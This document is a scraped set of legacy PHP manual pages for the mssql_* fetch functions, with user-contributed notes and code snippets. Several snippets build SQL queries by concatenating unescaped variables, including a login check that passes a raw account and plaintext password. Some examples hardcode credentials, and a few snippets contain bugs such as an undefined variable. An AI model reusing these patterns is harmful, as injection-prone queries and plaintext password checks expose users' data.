in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>length</b> or <b>false</b> if some error occured.
</font>
*/
function mssql_get_field_length($object,$field)
{
  if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop['xprec'];
   }
}

/*
<font color="#007f00">
Gets <b>$field</b> xprec from <b>$object</b> table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>length</b> or <b>false</b> if some error occured.
</font>
*/
function mssql_get_field_colorder($object,$field)
{
  if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop['colorder'];
   }
}

?>
marco dot carvalho at NOSPAM dot uni-yoga dot org dot br 07-Jun-2004 01:57
<?PHP

/*This functions will help you to get SQLTYPES direct from systypes and you can associate them with PHPSQLTYPES. */

/* <font color="#007f00">Associete PHP types with systypes..xtypes,
   see <b>mssql_get_types()</b> </font>*/

if(!defined('dbMSSQL_Types'))
{
    define('dbMSSqlTypes',1);
    $MSSQL_types[127] = SQLINT4;    /* bigint*/
    $MSSQL_types[104] = SQLBIT;     /* bit*/
    $MSSQL_types[175] = SQLCHAR;    /* char*/
    $MSSQL_types[56]  = SQLINT2;    /* int*/
    $MSSQL_types[52]  = SQLINT2;    /* smallint*/
    $MSSQL_types[35]  = SQLTEXT;    /* text*/
    $MSSQL_types[48]  = SQLINT1;    /* tinyint*/
    $MSSQL_types[167] = SQLVARCHAR; /* varchar*/
    $MSSQL_types[62]  = SQLFLT8;    /* float*/
    $MSSQL_types[173] = SQLVARCHAR; /* binary*/         // Adaptation
    $MSSQL_types[61]  = SQLINT4;    /* datetime*/       // Adaptation
    $MSSQL_types[106] = SQLFLT8;    /* decimal*/        // Adaptation
    $MSSQL_types[34]  = SQLVARCHAR; /* image*/          // Adaptation
    $MSSQL_types[60]  = SQLFLT8;    /* money*/          // Adaptation
    $MSSQL_types[239] = SQLCHAR;    /* nchar*/          // Adaptation
    $MSSQL_types[99]  = SQLTEXT;    /* ntext*/          // Adaptation
    $MSSQL_types[108] = SQLFLT8;    /* numeric*/        // Adaptation
    $MSSQL_types[231] = SQLVARCHAR; /* nvarchar*/       // Adaptation
    $MSSQL_types[59]  = SQLFLT8;    /* real*/           // Adaptation
    $MSSQL_types[58]  = SQLINT4;    /* smalldatetime*/  // Adaptation
    $MSSQL_types[122] = SQLFLT8;    /* smallmoney*/     // Adaptation
    $MSSQL_types[98]  = SQLVARCHAR; /* sql_variant*/    // Adaptation
    $MSSQL_types[189] = SQLINT4;    /* timestamp*/      // Adaptation
    $MSSQL_types[165] = SQLVARCHAR; /* varbinary*/      // Adaptation
}

/* <font color="#007f00">Gets current connection systypes and shows this:

$MSSQL_types[systypes..xtype] = PutPHPSqlTypeHere  // Name_in_systypes //

</font>*/
function mssql_get_types(){
   $res = mssql_query('select name,xtype from systypes');
   echo('<pre><CODE>');
   while(($val = mssql_fetch_assoc($res))){
      echo('$MSSQL_types['.$val['xtype']."]\t= ;\t/* ".$val['name']." */\n");
   }
   print_r(phpinfo(INFO_VARIABLES));
   echo('</CODE></pre>');
}

?>
iqq-pp at extreme dot ro 30-Oct-2003 03:01
php version 4.3.2

Take care when using stored procedures returning multiple results, seems that if the first result is empty, the pointer will be automatically moved to the next result. As in this example:

CREATE PROCEDURE test
AS
SELECT 0 as zero WHERE 0 = 1
SELECT 1 as one
GO

After executing the stored procedure, mssql_num_rows will report one, ignoring the first result.
eliseo at olografix dot org 12-Oct-2003 10:23
After many attempt I resolved the return output of a store procedure on Win2003 box, MSSQL7 and PHP 4.3.
I have problem to process the result from store procedure strCheckUser, and I must to set a R variable, that must be returned from the last select operation (Select @R as R) see below.

----------------------------
/*
Store procedure to CheckUser Exist
*/
CREATE PROC strCheckUser
(
@AccountLO varchar(20) ,
@PasswordLO varchar(20)
)
AS
BEGIN
DECLARE @R INT
IF (SELECT count(*) as count FROM tbl_users WHERE AccountLO = @AccountLO and PasswordLO=@PasswordLO
) = 0
SET @R = '0'
END

BEGIN
IF (SELECT count(*) as count FROM tbl_users WHERE AccountLO = @AccountLO  and PasswordLO=@PasswordLO
) = 1
SET @R = '1'

END

Select @R as R

GO
-------------------------

This is the php page
<?

.....
.....
$AccountLO="myuser";
$PassowrdLO="mypass";

$result=mssql_query("strCheckUser ".$AccountLO.", ".$PasswordLO."");
//echo gettype($result);
$arr = mssql_fetch_assoc($result);
echo $arr["R"];

......
......
?>

No $arr["R"] print 1 if the user exist and 0 if no exist

Thanks to duarte at uma dot pt for the suggestion
Bye eliseo@olografix.org
gstratfordATdas.ca 06-Aug-2003 01:25
The easiest way to use a stored procedure is:

$Result = mssql_query("StoredProcedureName Var1, Var2, Var3...");

$Result is then just like any other result set. You can get the output parameters by:

$arr = mssql_fetch_row($Result);

$OutputParam1 = $arr[0];
$OutputParam2 = $arr[1];
brian_caughlin at hotmail dot com 06-Aug-2003 11:04
Regarding Output Parameters and RETVAL: A change that appears to have begun around 4.3.

According to the documentation and previously posted comments, if a stored procedure returns only one Recordset, you could retrieve the RETVAL and Output Params right away.  THIS IS NO LONGER THE CASE.  Beginning around 4.3, you must always use the mssql_next_result() function if any recordset is returned at all.

If you consider the example posted below by fjortizATcomunetDOTes on 26-Dec-2001...

[...]

// Execute the Stored Proc
$result=mssql_execute($stmt);

// Get the recordset
$arr=mssql_fetch_row($result);
print ("Answer: " . $arr[0] . "
" );

// NEW for 4.3: Switch to the next Recordset
// Since there was only one recordset, it will return false...
mssql_next_result($result);

// And now RETVAL and Output Params are accessible...
print ("RETVAL = $val ; intval = $ival ; floatval = $fval ; string = $sval");

[...]

There is also another way, and that is to use a new optional skip parameter on the execute.

mssql_execute($stmt, true);

This appears to ignore any recordsets, allowing you to get at the retval and output parameters immediately.

For more information, please see Bug #21089.
fjortizATcomunetDOTes 26-Dec-2001 06:01
After initializing a stored procedure
with mssql_init, and binding all the
parameters (and return value if needed)
with mssql_bind, you can execute the
statement with mssql_execute.

Parameters:
- stmt: statement resource obtained with
mssql_init.

From here, you can use any of the other
mssql_* functions to retrieve the
recordsets as if you had called
mssql_query. Any T-SQL error will also
be reported in the same way. The
variables passed by reference for OUTPUT
and RETVAL parameters will be filled
with the right values.

Now, an example:

if we have this procedure:

CREATE PROCEDURE [procedure]
(
   @sval varchar(50) OUTPUT,
   @intval int OUTPUT,
   @floatval decimal(6,4) OUTPUT
) AS

if @intval is null
    select '@intval is null' as answer
else
    select '@intval is NOT null' as answer

set @sval='Hello ' + @sval
set @intval=@intval+1
set @floatval=@floatval+1

return 10

We can use this PHP code:

<?php

$conn=mssql_connect("myhost","user","pwd");

if ($conn) {
    mssql_select_db("mydb",$conn);

    $stmt=mssql_init("procedure",$conn);
    mssql_bind($stmt,"RETVAL",&$val,SQLINT4);

    $ival=11;
    $fval=2.1416;
    $sval="Frank";

    mssql_bind($stmt,"@sval",&$sval,SQLVARCHAR,TRUE);
    mssql_bind($stmt,"@intval",&$ival,SQLINT4,TRUE);
    mssql_bind($stmt,"@floatval",&$fval,SQLFLT8,TRUE);

    $result=mssql_execute($stmt);

    $arr=mssql_fetch_row($result);
    print ("Answer: " . $arr[0] . "<br>" );
    print ("RETVAL = $val ; intval = $ival ; floatval = $fval ; string = $sval");

    mssql_close($conn);
}
else print("ooops!");
?>

Hope it helps. Good luck!
mssql_data_seek
mssql_fetch_array
Mssql Functions


Fetch a result row as an associative array, a numeric array, or both

mssql_execute
mssql_fetch_assoc
Mssql Functions
PHP Manual

mssql_fetch_array

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Description

array mssql_fetch_array ( resource $result [, int $result_type = MSSQL_BOTH ] )

mssql_fetch_array() is an extended version of mssql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using mssql_fetch_array() is NOT significantly slower than using mssql_fetch_row(), while it provides a significant added value.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

result_type

The type of array that is to be fetched. It's a constant and can take the following values: MSSQL_ASSOC, MSSQL_NUM, and MSSQL_BOTH.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_array() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    // The following is equal to the code below:
    //
    // while ($row = mssql_fetch_row($query)) {

    while ($row = mssql_fetch_array($query, MSSQL_NUM)) {
        // ...
    }
}

// Free the query result
mssql_free_result($query);
?>

Notes

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mssql_fetch_row() - Get row as enumerated array

User Contributed Notes

php at bricology dot com 18-Jul-2008 09:08
I just spent a few hours trying to get ntext data with this function, CASTing and CONVERTing every which way, and scouring the 'net. Nothing worked, I just got a NULL.

Then on a whim I tried it with mssql_fetch_row instead, and that DOES work.
chu61 dot tw at gmail dot com 27-Dec-2007 05:20
To write Unicode (nvarchar) to SQL2000/2005 use PHP
用PHP在SQL Server 存取Unicode資料
----------------------------------------------

Let's assume, we have following data table, that allows us to store unicode values (using UCS-2 encoding):

    create table mytable    (
        myfield nvarchar (100) null
    );

Below is the code to work with:

<?php
    $link = mssql_connect('dbhost', 'username', 'password');
    mssql_select_db('database', $link);

    // sending data to database
    $utf8 = 'some unicode UTF-8 data';  // some Greek text for example ;)
    $ucs2 = iconv('UTF-8', 'UCS-2LE', $utf8);

    // converting UCS-2 string into "binary" hexadecimal form
    $arr = unpack('H*hex', $ucs2);
    $hex = "0x{$arr['hex']}";

    // IMPORTANT!
    // please note that value must be passed without apostrophes
    // it should be "... values(0x0123456789ABCEF) ...", not "... values('0x0123456789ABCEF') ..."
    mssql_query("insert into mytable (myfield) values ({$hex})", $link);

    // retrieving data from database
    // IMPORTANT!
    // please note that "varbinary" expects number of bytes
    // in this example it must be 200 (bytes), while size of field is 100 (UCS-2 chars)

    $result = mssql_query("select convert(varbinary(200), myfield) from mytable", $link);

    while (($row = mssql_fetch_array($result, MSSQL_BOTH)))
    {
        // we get data in UCS-2
        // I use UTF-8 in my project, so I encode it back
        echo(iconv('UCS-2LE', 'UTF-8', $row['myfield']));
    }

    mssql_free_result($result);
    mssql_close($link);
?>
blood - demon at gmx dot net 17-Aug-2007 02:22
Note that if you fetch varchar fields larger than 255 letters the result will be cut off at 255 letters.

To prevent this you have to do a CONVERT(TEXT,data_field) for this fields in your select clause.
Bryan 05-Jul-2007 09:05
Calling this function with the option second parameter is causing a "Wrong parameter count" message. If you run into this problem, you can get the same effect by calling different functions:

mssql_fetch_array: MSSQL_BOTH
mssql_fetch_assoc: MSSQL_ASSOC
mssql_fetch_row: MSSQL_NUM
admin at talente dot ro 19-Oct-2005 08:36
There is any option like skip or go next ! I am using a while clause inside:
  While ($row=mysql_fetch_array($result))
    while ($row["Brand_name"]=$gr){
     ....
So I am printing different TD from classes and when I finish cycling the fields I want to "skip" to next record !
gillis dot phpmanual at no-spam-for-megillis dot fi 06-Jul-2005 01:19
Allthough probably obvious to people who have used the functions available to other databases it during writing is not present in this entry that result type can be entered as MSSQL_ASSOC or MSSQL_NUM, and the default value when nothing entered being MSSQL_BOTH

//Gillis Danielsen
archwisp at gmail dot com 26-Oct-2004 07:44
In response to my last post:

After further testing, it appears as though the null column bug only affects windows installations. On my linux installation using freetds-0.61.2, the function behaves properly. It must exist either in the php_mssql.dll or the Microsoft connection libraries. And since I use this functionality through ASP as well (which uses the Microsoft connection libraries), it would lead me to believe that it's an issue within the php_mssql.dll.
archwisp at gmail dot com 25-Oct-2004 02:28
[Editor's Note: NULLs *are* distinguishable from 0.  See the manual section on comparison operators. ]

microsoft sql 2000 server
php running on windows 2000

Using the $row = mssql_fetch_array($result)

A null value will return 0, this is a problem if you are using 0 and some identifier for a value.  you should convert all nulls to something like -1 or "NO VALUE"

******

After extensive testing, the above statements both seem to be true. You *can* distinguish between 0 and null values in PHP; however, the mssql_fetch_array function does not set null colums to the php NULL value.

if ($row['Null_Column'] === 0) { print('pass'); }

A null column passes the above test. Seems to be a bug in the function.
Derek Ethier 24-Feb-2004 03:06
The array_walk function is also useful for stripping the whitespace returned in an mssql_query.

function modify_field(&$array) {
    $array = trim($array);
}

$query = "select * from dbo.table where value = '0'";
$result = mssql_query($query) or die;

while ($row = mssql_fetch_array($result)) {
    // This will call the above function.
    array_walk($row, 'modify_field');
    array_push($eventresults, $row);
}

An added benefit is that you can expand the modify_field function to handled unexpected returned column data.
hackajar matt yahoo trot com 23-Jan-2004 03:11
from php-dev mailing list article -
#26012 [Bgs]: mssql_fetch_array

"Previously mssql data was always rtrimed, however that's wrong because it modifies the original data. This caused a problem for people who needed those trailing space. Ultimately, the job of database extension is to fetch the data as is (like other db extensions already do) and not to mangle it in any way."

moving from <4.3.4 to a higher version you will have this now:

$query = "Select dumb_spaces from dbo.table where weak_sause = 'true'";
$result = mssql_query($query) or die("Spicy Sause! Query = $query");

while($line = mssql_fetch_array($result, MSSQL_ASSOC) {
     foreach($line as $bs_trim) {
          //Trim whitespace from end of query
          $bs_trim = rtrim($bs_trim);
          echo "Clean!".$bs_trim;
     }
}
herriedm at yahoo dot com 25-Jun-2003 09:21
[Editor's Note: NULLs *are* distinguishable from 0.  See the manual section on comparison operators. ]

microsoft sql 2000 server
php running on windows 2000

Using the $row = mssql_fetch_array($result)

A null value will return 0, this is a problem if you are using 0 and some identifier for a value.  you should convert all nulls to something like -1 or "NO VALUE"
flatcable2000 at yahoo dot com 15-Jan-2003 09:22
Apparently php 4.0.6 does not support the second parameter. When used the error sounds
"Wrong parameter count for mssql_fetch_array"
shaver at qspeed dot com 10-Jan-2003 02:08
Note that the second parameter is the same as the msql version of this function (http://www.php.net/manual/en/function.msql-fetch-array.php) with the constants (MSQL_ASSOC, MSQL_NUM, and MSQL_BOTH) changing to MSSQL_.

Also note that if you don't specify this parameter you'll get both the numbers and column names, which can cause some frustration.
ask at manniac dot de 05-Jun-2002 06:13
It seems that this function creates arrays wich keys can not be longer than 30 chars. So when you're having a DB-field like "this_is_a_very_long_db_field_name"
its array-key is cut off after 30 chars and you will have to access the value with
rs["this_is_a_very_long_db_field_n"]
mssql_execute
mssql_fetch_assoc
Mssql Functions


Returns an associative array of the current row in the result

mssql_fetch_array
mssql_fetch_batch
Mssql Functions
PHP Manual

mssql_fetch_assoc

(PHP 4 >= 4.2.0, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_assoc — Returns an associative array of the current row in the result

Description

array mssql_fetch_assoc ( resource $result_id )

Returns an associative array that corresponds to the fetched row and moves the internal data pointer ahead. mssql_fetch_assoc() is equivalent to calling mssql_fetch_array() with MSSQL_ASSOC for the optional second parameter.

Parameters

result_id

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_assoc() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
}
else
{
    // Print a nice list of users in the format of:
    // * name (username)

    echo '<ul>';

    while ($row = mssql_fetch_assoc($query)) {
        echo '<li>' . $row['name'] . ' (' . $row['username'] . ')</li>';
    }

    echo '</ul>';
}

// Free the query result
mssql_free_result($query);
?>

User Contributed Notes

simonh at dreameyemedia dot com 28-Dec-2008 02:35
With the code mentioned above and in relation to a MSSQL query.

When using the following statements  to retrieve dat "fetch_assoc" then running a split statement PHP it then into a array it will not pass the data retrieved will show correctly in a XML document created by the DOM object.

<?php
require("phpsqlajax_dbinfo.php");

// Start XML file, create parent node

$dom = new DOMDocument("1.0");
$node = $dom->createElement("markers");
$parnode = $dom->appendChild($node);

// Opens a connection to a DreameyeOne server
$connection=mssql_connect ("ELF\ELF", $username, $password);
if (!$connection) {
  die('Not connected : ' . mssql_error());
}

// Set the active DreameyOne database
$db_selected = mssql_select_db($database, $connection);
if (!$db_selected) {
  die ('Can\'t use db : ' . mssql_error());
}

// Select all the rows in the markers table
$query = "SELECT msg FROM ozekimessagein ORDER BY senttime DESC";
$result = mssql_query($query);
if (!$result) {
  die('Invalid query: ' . mssql_error());
}
header("Content-type: text/xml");
// Iterate through the rows, adding XML nodes for each
while ($row = @mssql_fetch_assoc($result)) {
      list ($vehicleID,$long,$lat) = split(',',$row);
// ADD TO XML DOCUMENT NODE
      $node = $dom->createElement("marker");
      $node = $dom->createElement("marker");
      $newnode = $parnode->appendChild($node);
      $newnode->setAttribute("VehicleID:",$vehicleID);
      $newnode->setAttribute("lat",$lat);
      $newnode->setAttribute("long",$long);
}

echo $dom->saveXML();

?>

Merlinman
pegas1981 22-May-2007 04:41
[quote]
WARNING:

PHP 4.3.4 introduced a BUG.

if the DB has: '' (empty string)
this function will return: ' ' (string with 1 space)

see: http://bugs.php.net/bug.php?id=26315
[/quote]
the same version PHP 5.2.0
24-Mar-2007 09:25
regarding 'The 30 character field name limit is still an issue'

Thought about using shorter column names and using the description to give more info regarding the column.

as to the
$result = mssql_query('SELECT articles.id, issues.id FROM articles, issues WHERE articles.pub_date = issues.pub_date');

try this
$result = mssql_query('SELECT articles.id as aid, issues.id as iid FROM articles, issues WHERE articles.pub_date = issues.pub_date');
jbarker at erepublic dot com 24-Jan-2007 09:35
Beware when using mssql_fetch_assoc() to return data pulled in from joined tables; if the tables have the same column names, the column mentioned last will overwrite the prior one when populating the assoc.

Example:

<?
$result = mssql_query('SELECT articles.id, issues.id FROM articles, issues WHERE articles.pub_date = issues.pub_date');
$record = mssql_fetch_assoc($result);
print_r($record);

/*
Prints:

Array
(
    [id] => 123
)

*/
?>
brandonkirsch at uses dot gmail dot domain 11-Dec-2006 10:43
We are running FreeTDS on a Linux Apache / PHP server and encountered the following error when calling mssql_fetch_assoc()

Fatal error: Call to undefined function mssql_fetch_assoc()

We were confused because *some* of the mssql commands worked, such as mssql_connect and mssql_fetch_array.  The trick to make mssql_fetch_assoc() work lies in configuring FreeTDS.  We had to change the statement to contain the --enable-msdblib switch:

./configure --enable-msdblib

We then recompiled PHP to include --with-mssql=/path/to/freetds and finally mssql_fetch_assoc() began working properly.
ben at thelocust dot org 03-Nov-2006 12:22
The 30 character field name limit is still an issue as of PHP 5.1.6, at least running under IIS.
electricsurfer.com 01-Dec-2003 08:38
WARNING:

PHP 4.3.4 introduced a BUG.

if the DB has: '' (empty string)
this function will return: ' ' (string with 1 space)

see: http://bugs.php.net/bug.php?id=26315
php at electricsurfer dot com 03-Jun-2003 11:34
WARNING: as of PHP 4.3.2

The keys in the array will only contain the 1st 30 characters of the column name if you have column names longer than that.
mssql_fetch_array
mssql_fetch_batch
Mssql Functions


Returns the next batch of records

mssql_fetch_assoc
mssql_fetch_field
Mssql Functions
PHP Manual

mssql_fetch_batch

(PHP 4 >= 4.0.4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_batch — Returns the next batch of records

Description

int mssql_fetch_batch ( resource $result )

Returns the next batch of records

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns the batch number as an integer.

Examples

Example #1 mssql_fetch_batch() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Send a query
$result = mssql_query('SELECT * FROM [php].[dbo].[people]', $link, 100);
$records = 10;

while ($records >= 0) {
    while ($row = mssql_fetch_assoc($result)) {
        // Do stuff ...
    }

    --$records;
}

if ($batchsize = mssql_fetch_batch($result)) {
    // $batchsize is the number of records left
    // in the result, but not shown above
}
?>

User Contributed Notes

brutalex430 13-Jul-2010 01:34
This could be usefull if you have a large dataset:

<?php
$qry = mssql_query("SELECT * FROM huge_table", $conn, 1000); // 1000 Rows batchsize

    do {
      while ($row = mssql_fetch_row($qry)) {
          // do something like
          print_r($row);
      }
    } while (mssql_fetch_batch($navqry));  // get the next batch until end

?>
mssql_fetch_assoc
mssql_fetch_field
Mssql Functions


Get field information

mssql_fetch_batch
mssql_fetch_object
Mssql Functions
PHP Manual

mssql_fetch_field

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_field — Get field information

Description

object mssql_fetch_field ( resource $result [, int $field_offset = -1 ] )

mssql_fetch_field() can be used in order to obtain information about fields in a certain query result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

field_offset

The numerical field offset. If the field offset is not specified, the next field that was not yet retrieved by this function is retrieved. The field_offset starts at 0.

Return Values

Returns an object containing field information.

The properties of the object are:

  • name - column name. if the column is a result of a function, this property is set to computed#N, where #N is a serial number.
  • column_source - the table from which the column was taken
  • max_length - maximum length of the column
  • numeric - 1 if the column is numeric
  • type - the column type.

Examples

Example #1 mssql_fetch_field() example

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]');

// Construct table
echo '<h3>Table structure for \'persons\'</h3>';
echo '<table border="1">';

// Table header
echo '<thead>';
echo '<tr>';
echo '<td>Field name</td>';
echo '<td>Data type</td>';
echo '<td>Max length</td>';
echo '</tr>';
echo '</thead>';

// Dump all fields
echo '<tbody>';

for ($i = 0; $i < mssql_num_fields($query); ++$i) {
    // Fetch the field information
    $field = mssql_fetch_field($query, $i);

    // Print the row
    echo '<tr>';
    echo '<td>' . $field->name . '</td>';
    echo '<td>' . strtoupper($field->type) . '</td>';
    echo '<td>' . $field->max_length . '</td>';
    echo '</tr>';
}

echo '</tbody>';
echo '</table>';

// Free the query result
mssql_free_result($query);
?>

See Also

  • mssql_field_seek() - Seeks to the specified field offset

User Contributed Notes

not a mail address 20-Aug-2008 03:22
kubalaa at bigfoot dot com first reported the problem that column_source contains the FIELD name instead of the source TABLE name 04-Apr-2000 03:58. The bug has been reported as well.

For those who wonder if it was fixed over the past 8 years: No, the bug still is the same, no workaround available.
schattenfeld at gmail dot com 02-Aug-2007 07:43
If you want to describe table like DESCRIBE in MySQL you can use this:
$sql = <<<SQL
SELECT column_name,data_type,column_default,is_nullable
FROM
  information_schema.tables AS t
  JOIN
  information_schema.columns AS c ON
    t.table_catalog=c.table_catalog AND
    t.table_schema=c.table_schema AND
    t.table_name=c.table_name
WHERE
  t.table_name='TABLE-NAME'
SQL;
huszti_dot_roland_at_freemail_dot_com 11-May-2006 05:51
For really detailed table information, use syscolumns, like this:

SELECT c.name, c.prec, c.scale, t.name type
  FROM syscolumns c, systypes t, sysobjects o
  WHERE o.name = 'yourtablename' AND o.id = c.id AND c.xtype = t.xtype

For other properties see the MS SQL online help. Search for 'syscolumns'.

Or an another solution:

sp_columns @table_name = 'yourtablename', @column_name = 'thecolumnname'
//no "select ..." !!!!

This gives info about only the specified column.
php_rindern_de 25-Oct-2004 01:36
commenting Reynard Hilman:

for me it looks like the colstat field value of 1 in syscolumns table indicates an Identity Column.
Reynard Hilman 22-Oct-2003 07:40
If you want to describe table structure (like mysql 'desc table' command), sending this query might help:
<?
$sql = "SELECT c.name, c.isnullable, c.length, c.colstat, t.name type
  FROM syscolumns c, systypes t, sysobjects o
  WHERE o.name = '$table' AND o.id = c.id AND c.xtype = t.xtype";
?>
I suspect the colstat field in syscolumns table indicates primary key when its value is 1
bmaddy_at_class_dot_umn_dot_edu 29-Apr-2003 07:41
Be aware that this function will only return the first 30 characters of the name of the column.  If the actual column name is longer, it will be truncated.  This is at least true with the following setup:
PHP 4.3.1
MSSQL 8.00.760

Have a good day everyone!
Brian
alonf at spiralsolutions dot com 28-Nov-2002 02:47
As kubalaa at bigfoot dot com note mssql_fetch_field->column_source return field name instead table name also with MSSQL2000 connection. Be adwised!!!
pong at taft dot org 15-Mar-2002 05:07
When you mssql_fetch_field(int result), you need to do loop to get the name of each field.  Something like:

while($fld = mssql_fetch_field($rs)){
        echo $fld->name . "<br>";
    }

I am wondering why we cannot refer it by a field number.
skipsey at hotmail dot com 08-Feb-2001 07:58
It seems fairly hard to get a list of the tables from your database using MSSQL but this seems to do the trick. This is set to get only the User Tables and ignores the sytem tables.

<?php
mssql_connect("server","","") or die ("help me!");
mssql_select_db("") or die ("Noooo!");

$result = mssql_query ("sp_tables");
$fields = mssql_num_fields ($result);
$rows   = mssql_num_rows ($result);

for ($f=0; $f<$rows; $f++) {
    $CHKTYPE=GetField($result,"TABLE_TYPE",$f);

    if($CHKTYPE=='TABLE'){

        //$name = mssql_fetch_field($result, 2);
        $field=GetField($result,"TABLE_NAME",$f)."<br>";
        echo $field;

    }
}
?>
kubalaa at bigfoot dot com 04-Apr-2000 03:58
Using this function with MSSQL 7, $returned->column_source is the column name, not the table name as it should be.
mssql_fetch_batch
mssql_fetch_object
Mssql Functions


Fetch row as object

mssql_fetch_field
mssql_fetch_row
Mssql Functions
PHP Manual

mssql_fetch_object

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_object — Fetch row as object

Description

object mssql_fetch_object ( resource $result )

mssql_fetch_object() is similar to mssql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Speed-wise, the function is identical to mssql_fetch_array(), and almost as quick as mssql_fetch_row() (the difference is insignificant).

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_object() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    // Print a nice list of users in the format of:
    // * name (username)

    echo '<ul>';

    while ($row = mssql_fetch_object($query)) {
        echo '<li>' . $row->name . ' (' . $row->username . ')</li>';
    }

    echo '</ul>';
}

// Free the query result
mssql_free_result($query);
?>

Notes

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mssql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_row() - Get row as enumerated array

User Contributed Notes

rubin at afternet dot org 20-Jan-2005 05:13
It is important to point out that the result of both
SELECT ' '
and
SELECT ''

is the string ' '.

That is, the php mssql functions will return a phantom space for any empty strings.

See http://bugs.php.net/bug.php?id=26996 and http://bugs.php.net/bug.php?id=25777

PHP does not classify this as a "bug" because the MS DBLib cannot tell the difference betwene the two cases. Earlier versions of php trim'd strings automatically.

It may be a good idea to ltrim and rtrim your results in some cases.
klystofer at brturbo dot com 10-Jul-2003 10:42
<?php

/*
A simple example using mssql_fetch_object
*/

$conexao = mssql_connect("myServer","myUser","myPass");
mssql_select_db("myDB",$conexao);

$query = mssql_query("SELECT EMPRESA FROM IDENTIFICACAO ORDER BY EMPRESA;");

while ($retorno = mssql_fetch_object($query))
   echo "Empresa:" . $retorno->EMPRESA;

?>
mssql_fetch_field
mssql_fetch_row
Mssql Functions


Get row as enumerated array

mssql_fetch_object
mssql_field_length
Mssql Functions
PHP Manual

mssql_fetch_row

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_fetch_row — Get row as enumerated array

Description

array mssql_fetch_row ( resource $result )

mssql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to mssql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mssql_fetch_row() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Query to execute
$query = mssql_query('SELECT [id], [quote] FROM [quotes] WHERE [id] = \'42\'', $link);

// Did the query fail?
if (!$query) {
    die('MSSQL error: ' . mssql_get_last_message());
}

// Fetch the row
$row = mssql_fetch_row($query);

// Print the 'quote'
echo 'Quote #' . $row[0] . ': "' . $row[1] . '"';
?>

The above example will output something similar to:

Quote #42: "The answer to everything..."

Notes

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mssql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_object() - Fetch row as object
  • mssql_data_seek() - Moves internal row pointer
  • mssql_result() - Get result data

User Contributed Notes

zombie(at)artattack(dot)to 05-Dec-2003 01:50
It seems that when you use the MSSQL fetch_* functions you need to manually reset the $result 's internal pointer when doinging a while loop.

i.e.the below seems to only print out the first set. I don't remember this being the case with mysql, but it makes sense that it would do the same.

while ($or_date_info = mssql_fetch_assoc($result)){
 echo '1st pass<BR>';
 print_r($or_date_info);
}
while ($or_date_info = mssql_fetch_assoc($result)){
  echo '2nd pass<BR>';
  print_r($or_date_info);
}

Blaine Garrett
http://artattack.to?zombie
siivv at yahoo dot com 24-Apr-2002 03:35
jus do this instead.. no for loop necessary

while($line = mssql_fetch_row($result)){
print "$line[0],$line[1]";  // etc.
}

no need to have a whole extra variable $i tossed in
will_ <sql at mookandblanchard dot com> 01-Feb-2002 10:44
It took me way too long to notice the MySQL error in the note above (way tooo late and not enough sleep).  Here's what I hacked up:

<?php
$hostname = "localhost";
$username = "username";
$password = "password";
$dbName = "database";

